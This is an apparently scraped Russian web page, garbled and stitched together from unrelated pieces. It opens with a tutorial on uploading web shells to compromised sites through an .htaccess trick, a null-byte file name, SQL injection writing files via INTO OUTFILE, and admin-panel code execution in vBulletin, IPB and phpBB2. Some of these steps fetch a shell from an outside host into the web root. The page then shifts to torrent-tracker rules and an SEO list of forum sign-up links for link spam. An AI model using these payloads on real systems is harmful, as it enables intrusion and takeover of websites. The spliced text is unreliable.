Колымаге profile php mode. Способы заливки шелла

Дата: 24.03.2024

Привет %username% и его друзья. Ну вот нужно срочно залить шелл на сайт, ну мало ли, может конечный гонорар от этого зависит. Ну а никак не получается. Вот собрал пару примеров (спасибо tracy и другим за это).

Льем шелл через картинку

Вы взломали сайт (разумеется только тестируете) с самописной админкой… И не можете залит веб-шелл, но там присутствует заливка картинок и загружает только форматы.jpg, .gif, .png.
Что в этом случаем можно сделать?

Пихаем шелл с расширением.gif в какую нибудь папку с картинками, и создаем файл.htaccess с содержимым

AddType application/x-httpd-php .gif
Данная команда выполнит формат.gif как php
Пробуем открыть /shell.gif

Так же, если скрипт не равнодушен к переносу строки, пробуем залить шелл попутно переименовав его в shell.php%00.jpg , проверять доступность shell.php, а вдруг?

Способ заливки шелла через mysql.user из скули

1)Узнаем из под кого мы сидим и узнаем так же его права к mysql.

site.com/index.php?id=1+and+1=0+union+Select+1,user(),3+--+
(Узнаем под кем мы сидим)
2) site.com/index.php?id=1+and+1=0+union+Select+1,file_priv,3+from+mysql.user+where+user="наш юзер "+--+
(Проверим привилегии нашего юзера. Если выдаёт ошибку при выводе, можно похексить нашего юзера 0x)
3) site.com/index.php?id=-1+union+select+1,"",3+from+mysql.user+into+outfile+"Путь до файла "+--+
(Заливаем мини-шелл)
P.S
Что бы всё получилось нужно имееть права на запись и знать полный путь до корня.
Так же проверить права на запись можно так:

site.com/index.php?id=1+and+1=0+union+Select+1,"prava ",3+from+mysql.user+--+
Если prava отобразится, то права есть.

Следующая ситуация. Мы в админке форумного движка vBulletin

Заходим:
Plugins & Products -> Plugin Manager -> Плагины & Продукты -> Менеджер плагинов -> [Добавить новый плагин]

Выбираем темптлей. Обычно выбирают faq_complete, выбираем и жмем галочку Plugin is Active выставляем «Yes» и сохраняем.

localhost/forum/faq.php?cmd=phpinfo();

Если мы вывели phpinfo() то считайте шелл у нас в руках.

Далее в phpinfo нужно найти полный путь до форума (например /home/u0000/site.ru/www/sell.php) . Далее нам нужно наш веб-шелл превратить в txt файл и залить на любой сайт
mysite.com/shell.txt
Шелл заливаем командой

localhost/forum/faq.php?cmd=copy($_GET[a],$_GET[b]);&a=mysite.com/shell.txt&b=/home/u0000/site.ru/www/sell.php
Что делает эта команда? Она копирует содержимое переменной [a] в переменную [b], то есть shell.txt копирует в shell.php

Заливаем шелл в IPB 3

Заходим:
Поддержка->Управление SQL->Выполняющиеся процессы->Выполнить новый запрос

Код:
select 0x3c3f706870696e666f28293b3f3e into outfile "Z:/home/site.ru/www/uploads/shell.php"
Полный путь можно посмотреть так:

Админка->Поддержка
Там будет сверху написана версия PHP и слева ссылка на PHPINFO

Шелл тут:
http://site.com/uploads/shell.php

Заливаем шелл в phpBB 2

1. Создаём файл ex.sql
2. Прописываем туда

UPDATE phpbb_users SET user_sig_bbcode_uid="(.+)/e\0", user_sig="phpbb:eval(stripslashes($_GET[e]));" WHERE user_id=2;
Где user_id=2 — идентификатор администратора

3. Заходим в админ-панель
4. В админ-панеле выбираем пункт «Восстановить БД» и загружаем ex.sql
5. Выполняем код / Заливаем шелл так

Заходим:
http://target/profile.php?mode=editprofile&e=phpinfo();
После:
http://target/profile.php?mode=editprofile&e=faq.php?cmd=copy($_GET[a],$_GET[b]);&a=mysite.com/shell.txt&b=/home/u0000/site.ru/www/sell.php
Что бы вывести phpinfo() нужно быть авторизованным.

Это только коротенький список, как и на какие движки можно залить шелл. Нужно больше? Welcome к ребятам на rdot
заливка на форумы
заливка на cms
А вот и мой любимый шелл, тоже на rdot))

Правила и ограничения на трекере.

1. Общие положения и ограничения
1.1. Данные правила трекера не подлежат обсуждению и обязательны к безусловному выполнению всеми, присутствующими на трекере. Только Администраторам трекера разрешено не соблюдать некоторые положения правил в исключительных ситуациях.
1.2. Администрация трекера является единственной и высшей инстанцией, где можно разрешить любые конфликтные ситуации, касающиеся трекера и его пользователей. Таким образом, решения Администраторов окончательные и обжалованию не подлежат.
1.3. Администрация Трекера оставляет за собой право изменять и дополнять все пункты данных правил без предварительного или последующего уведомления. Дополнения и изменения правил вступают в силу с момента их опубликования. Однако в качестве акта доброй воли Администрация будет стараться по возможности доводить такие изменения до сведения пользователей.
1.4. Незнание этих и других Правил Трекера не только не освобождает от ответственности за их нарушение, но и само по себе является нарушением и отягчающим вину обстоятельством.
1.5. Запрещается использовать какие-либо программы для фальсификации данных о Вашем Upload"e и Download"e. Читеры моментально отправляются в бан.
1.7. Запрещено использование неисправностей и ошибок трекера в личных целях. В случае обнаружения неисправностей и ошибок необходимо поставить Администрацию Трекера в известность.
2. Регистрация
Регистрация является неотъемлемой частью присутствия на трекере. Прохождение регистрации автоматически обозначает Ваше согласие с данными Правилами. Если Вы не согласны с данными Правилами, напишите администрации.
2.1. ЗАПРЕЩАЕТСЯ РЕГИСТРАЦИЯ С РАЗЛИЧНЫХ ЗАРУБЕЖНЫХ ПРОКСИ-СЕРВЕРОВ. Нарушителям - моментальный бан!!!
В исключительных случаях допускается только после рассмотрения заявки администрацией.
2.2. ЗАПРЕЩАЕТСЯ РЕГИСТРАЦИЯ С ОДНОГО КОМПЬЮТЕРА БОЛЕЕ ДВУХ АККАУНТОВ. При нарушении банятся все имеющиеся аккаунты.
Регистрация нового аккаунта, после имеющихся двух, возможна только с согласия администрации.
3. Правила комментирования раздач
3.1. Запрещено использование ненормативной лексики в комментариях к раздачам, любые нецензурные слова и выражения, завуалированный мат, в том числе на иностранных языках.
Наказание: Удаление нарушающих правила комментариев и запрет на написание комментариев сроком на 1 неделю. При последующем нарушении данного правила, бан сроком на 7 дней и запрет на написание комментариев сроком на 14 дней. В дальнейшем - перманентный запрет на написание комментариев.
3.2. Запрещается оскорблять участников трекера в любой форме. Запрещено проявление любой грубости, личных оскорблений и нецензурных высказываний в отношении других участников, нанесения вреда их репутации, унижающих их честь и достоинство, в том числе публичное выяснение личных отношений, как в личных сообщениях на трекере, так и в комментариях к раздачам. Участники должны соблюдать уважительную форму общения.
Наказание: Удаление нарушающих правила комментариев и бан нарушителя сроком на 7 дней. При последующем нарушении данного правила, бан сроком на 7 дней и запрет на написание комментариев сроком на 30 дней. В дальнейшем - перманентный запрет на написание комментариев.
3.3. Запрещены угрозы любого характера (виртуальные, реальные и другие угрозы в адрес участников трекера).
Наказание: Удаление сообщений и бан нарушителя сроком на 14 дней. При повторном нарушении данного правила бан на месяц.
3.4. Запрещены флейм (сообщения не по существу, призванные развязать спор, а также переход на личности обсуждающих), флуд (сообщения, не соответствующие теме, не несущие смысловой нагрузки или состоящие из одних только смайлов), оффтоп (сообщения, не относящиеся к обсуждаемой теме), а также побуждения к флуду, флейму, оффтопу и сообщения типа: "Помогите", "Проблема", "А о чем это вы, а?" или "Так я не понял - откуда качать?" и им подобные, не относящиеся к данной раздаче. В одном комментарии может быть не более 3 смайлов.
Наказание: Удаление нарушающих правила комментариев и предупреждение автора комментария сроком на 3 дня. При повторном нарушении данного правила автору комментария выдается запрет на написание комментариев сроком на 7 дней. В дальнейшем при каждом нарушении выдается запрет на оставление комментариев сроком на 14 дней и запрет на скачивание сроком на 14 дней.
3.5. Запрещено в комментариях размещение сообщений коммерческого характера, прямой или косвенной рекламы, спам-рассылок и ссылок на сайты, непосредственно не связанных с раздачей.
Наказание: Удаление рекламы, запрет на написание комментариев сроком на 7 дней и запрет на скачивание сроком на 7 дней. При повторном нарушении запрет на написание комментариев сроком на 15 дней и запрет на скачивание сроком на 15 дней. В дальнейшем перманентный запрет на написание комментариев.
3.6. Запрещено в комментариях проявлять расовую, национальную и религиозную неприязнь, агитировать политические партии, пропагандировать терроризм, экстремизм, наркотики, религии и прочие темы, несовместимые с общепринятыми законами морали и приличия.
Наказание: Удаление нарушающих правила комментариев, запрет на написание комментариев сроком на 14 дней и запрет на скачивание сроком на 14 дней. При повторном нарушении запрет на написание комментариев сроком на 30 дней и запрет на скачивание сроком на 30 дней. В дальнейшем перманентный запрет на написание комментариев.
3.7. Запрещено оставлять комментарии, явно или скрыто нарушающие УК РФ, а также сообщения, призывающие к совершению противоправных действий.
Наказание: Удаление сообщений, запрет на написание комментариев сроком на 14 дней и запрет на скачивание сроком на 14 дней. При повторном нарушении бан нарушителя сроком на 30 дней. При третьем нарушении - перманентный бан.
3.8. Запрещено в комментариях к раздачам разглашение любых личных данных пользователей, конфиденциальных данных, настоящих Ф.И.О., публикация фотографий, распространение сведений о частной жизни участника обсуждения, составляющих его личную или семейную тайну, без его согласия.
Наказание: Удаление нарушающих правила комментариев и устное предупреждение участника трекера. При повторном нарушении запрет на написание комментариев сроком на 7 дней. В дальнейшем запрет на написание комментариев сроком на 30 дней.
3.9. Запрещено выкладывание в комментариях изображений, содержащих порнографию, сцены жестокости или любые другие изображения, унижающие или оскорбляющие других пользователей.
Наказание: Удаление нарушающих правила комментариев и запрет на скачивание и оставление комментариев сроком на 7 дней. При повторном нарушении бан пользователя сроком на 7 дней. В дальнейшем - бан сроком на 15 дней и перманентный запрет на написание комментариев.
3.10. Запрещено использовать в комментариях язык, отличный от русского, и шрифт, отличный от кириллического.
Наказание: Удаление сообщений и устное предупреждение пользователя, при повторном нарушении правил данного пункта запрет на написание комментариев сроком на 3 дня.
3.11. Запрещено использование в сообщениях следующих способов выделения: красного цвета, более 75% заглавных букв и шрифта большого размера – это привилегия модераторов и администраторов.
Наказание: Удаление сообщений и устное предупреждение пользователя, при повторном нарушении правил данного пункта запрет на написание комментариев сроком на 7 дней.
3.12. Запрещен оверквотинг (цитирование сообщений других участников в количествах, превышающих разумные (более 10 строк оригинального сообщения)).
Наказание: Редактирование сообщения и устное предупреждение пользователя, при повторном нарушении правил данного пункта запрет на написание комментариев сроком на 3 дня.
3.13. Запрещается спойлерить, и воздерживайтесь от использования спойлеров (раскрытие ключевых моментов сюжета, знание которых может испортить другим впечатление от просмотра, результата матча и т.д.).
Если же обойтись без спойлеров нельзя, то нужно обязательно заключить спойлер в тег [еxpand] и ставить перед ним пометку «Спойлер».
Примечание: В "спортивных" раздачах запрещается спойлерить до 11 комментария (1 страница).
Наказание: Редактирование сообщения и устное предупреждение пользователя. При повторном нарушении правил данного пункта запрет на написание комментариев сроком на 3 дня.
3.14. Запрещается публикация сообщений, содержащих заведомо ложнyю информацию.
Наказание: Удаление нарушающих правила комментариев и устное предупреждение пользователя. При повторном нарушении правил данного пункта запрет на оставление комментариев сроком на 7 дней.
Система комментариев торрентов создана для того чтобы:
- Высказать свое уважение и благодарность раздающему,
- Задать интересующий вас конкретный вопрос относительно раздачи,
- Сообщить интересную информацию, относящуюся к раздаче.
4. Ограничения на аватары и подписи:
4.1. Подпись:
- Максимальная высота: 100 точек (другими словами, не больше четырех юзербаров или десяти строк текста (размер шрифта 10); ширина: 750 точек.
- Общий вес изображений, содержащихся в подписи, не должен превышать 200 Kb.
- Содержание: недопустимы насилие, угрозы (на демографической, национальной, религиозной или политической основе), сквернословия (ненормативная лексика, обзывательства, грубость и т.д.), разврат (порнография), дискриминация в любых проявлениях, тексты и изображения рекламного или коммерческого характера, имитация званий/рангов этого ресурса, а также изображения провокационного толка, в т.ч. с использованием нацистской символики.
- Анимация: сильно мигающие подписи запрещены (степень мигания определяется администрацией).
- Подпись под Вашими сообщениями не может быть использована для создания ссылок на какие-либо ресурсы сети. (исключения составляют ссылки на сайты с юзербарами, сервисы наподобие youtube, google и т.п.)
4.2. Aватара:
- Максимальный размер: 100х100 точек; вес: до 21 Кб.
- Содержание: недопустимы насилие, угрозы (на демографической, национальной, религиозной или политической основе), сквернословия (ненормативная лексика, обзывательства, грубость и т.д.), разврат (порнография), дискриминация в любых проявлениях, пропаганда наркотиков, коммерческая реклама и рекламные тексты, имитация званий/рангов этого ресурса, намеренная схожесть с аватарами членов администрации, а также изображения провокационного толка, в т.ч. с использованием нацистской символики.
- Анимация: сильно мигающие аватары запрещены (степень мигания определяется администрацией).
Наказание: Удаление подписи и аватары, или запрет на их использование (определяется администратором).
5. Релизы
5.1. Запрещается перезаливать релизы на другие трекеры без личного разрешения релизера. Поддержка раздачи запрещенного к перезаливу релиза на другом трекере приравнивается к самостоятельному перезаливу и наказывается в соответствие с п.7.
6. Прочее
6.1. Запрещается закачка содержимого раздач с использованием файлообменников типа vip-file, letitbit и прочих...
6.2. Запрещается использование для закачки торрента любых менеджеров закачек.
7. Наказание:
За указанные в пп.5-6 нарушения - бан на 7 дней. При повторном нарушении данных пунктов правил - пожизненный бан.

Итак, думаю я никого не удивлю, сказав, что чем больше внешних ссылок на Ваш сайт, тем больше его тИЦ и, чем больше тИЦ ссылающегося сайта, тем "вес" этой ссылки больше. Существует много способов увеличить ссылочную массу на Ваш сайт, но сегодня я расскажу только об одном из них - получение внешних ссылок с трастовых сайтов .
В этой статье, я не буду давать все ссылки на трастовые сайты , которые знаю, а расскажу только об одних из них - форумах.
Регистрируясь на форумах, где можно указать сайт (Как правило, они сделаны на одном движке), Вы получите внешнюю ссылку.
Чтобы было понятно о чем речь, посмотрите скриншот ниже:

То есть, Вы должны просто зарегистрироваться на таком форуме, указав сайт. И все. (Ну максимум, еще подтвердить регистрацию, поэтому указывайте реальный e-mail). Как правило, страница с ссылкой на Ваш сайт будет выглядеть примерно так:

Теперь поговорим о минусах такого способа, на мой взгляд их два:
1) Думаю, рано или поздно Вас удалят с форума за неактивность (Но в принципе, сложного не составит зарегистрироваться заново).
2) Соответственно, нельзя задать анкор ссылки. (Это, наверное, даже не минус, а факт, но все же).
Ну, теперь список жирных форумов . Для удобства в порядке убывания тИЦ:
Ссылка (тИЦ)
http://forum.igromania.ru/register.php (1700) [Регистрируетесь, потом в профиле указываете сайт, сохраняете]
http://orphus.ru/community/register.html (1500)
http://www.novosti-kosmonavtiki.ru/phpBB2/profile.php?mode=register (1100)
http://www.rmj.ru/phpbb/profile.php?mode=register (1000)
http://www.masterkit.ru/forum/profile.php?mode=register (700)
http://www.ib.ru/forum/profile.php?mode=register (400)
http://forum.mozilla-russia.org/register.php (300) [В профиле указываете вебсайт]
http://mama-tv.ru/forum/profile.php?mode=register (230)
http://www.neodrive.ru/forum/profile.php?mode=register (170)
http://www.systemaspetsnaz.ru/pforum/profile.php?mode=register (150)
http://tele-club.ru/forum/profile.php?mode=register (130)
http://forum.anastasia.ru/profile.php?mode=register (130)
http://www.shalyapin.ru/forum/profile.php?mode=register (130)
http://www.sarinfo.org/forum/profile.php?mode=register (120)
http://nelubit.ru/profile.php?mode=register (100)
http://www.antisex.info/phpbb2/profile.php?mode=register (60)
http://forum.balletfriends.ru/profile.php?mode=register (50)
http://forum.rusbani.ru/profile.php?mode=register (50)
http://zoneland.ru/forum/profile.php?mode=register (40)
http://forum.av.by/profile.php?mode=register (30)
http://forummotor.israelinfo.ru/profile.php?mode=register (30)
http://wolfson.ru/forum/profile.php?mode=register (30)
http://forum.oslik.ru/profile.php?mode=register (30)
http://data-torrents.com/profile.php?mode=register (20)
http://forum.latfutbols.net/profile.php?mode=register (20)
http://www.forum.hyip-reflection.info/profile.php?mode=register (20)
http://wap.tanchiki.ru/for/profile.php?mode=register (10)

http://www.autoplustv.ru/forum/profile.php?mode=register (500)
http://www.spomir.ru/forum/profile.php?mode=register (350)
http://www.fireman.ru/talk/profile.php?mode=register (300)
http://www.fpss.ru/forum-new/profile.php?mode=register (240)
http://www.skaters.ru/forum/profile.php?mode=register (220)
http://www.a-ivanov.ru/forum/profile.php?mode=register (190)
http://abto-acc.ru/forum/profile.php?mode=register (150)
http://www.artdj.ru/forum/profile.php?mode=register (120)
http://doom-metal.ru/room/profile.php?mode=register (100)
http://www.frisbee.by/f/profile.php?mode=register&agreed=true (80)
http://www.texinfo.ru/forum/ucp.php?mode=register (80) [В профиле]
http://globax.biz/forum/profile.php?mode=register (70)
http://www.gracebyte.com/forum/profile.php?mode=register (70)
http://forumjnews.israelinfo.ru/profile.php?mode=register (60)
http://yartech.ru/forum/ucp.php?mode=register (40) [В профиле]
http://amrita-dance.ru/forum/profile.php?mode=register (30)
http://forum.isnet.ru/profile.php?mode=register (30)
http://forum.interair.ru/profile.php?mode=register (0
___________________________________________________________________

Последнее обновление базы было 16.06.11 (Почищен список от неработающих ссылок + добавлены еще несколько сайтов, которые находятся под чертой)

Также благодаря трастовым сайтом можно не только повысить тИЦ, но и увеличить посещаемость сайта ! Но для этого нужно много хороших трастовых сайтов, а они, как правило, уже продаются за деньги. Ну, а покупать их или нет, уже решайте сами...

В заключении могу сказать, что не регистрируйтесь за один раз, сразу на всех форумах, иначе Ваш сайт может угодить под какой нибудь фильтр. По 5-8 в день, на мой взгляд достаточно. Все. Удачи. 😉

Внимание!
Пишу данное примечание я в 2015 году и хочу сказать, что сейчас, по-моему мнению, оставляя ссылки на свой блог (сайт) на этих или других, более новых трастовых сайтах, вы только зря потратите время. Поэтому во избежании повторяющихся вопросов в комментариях, напишу здесь - обновлений этого списка не будет.
Лучше рекомендую ознакомиться с моим списком . Конечно, постинг сообщений в таких блогах тоже уже не столь эффективен как раньше, но, опять же, по моему субъективному мнению, в разы больше.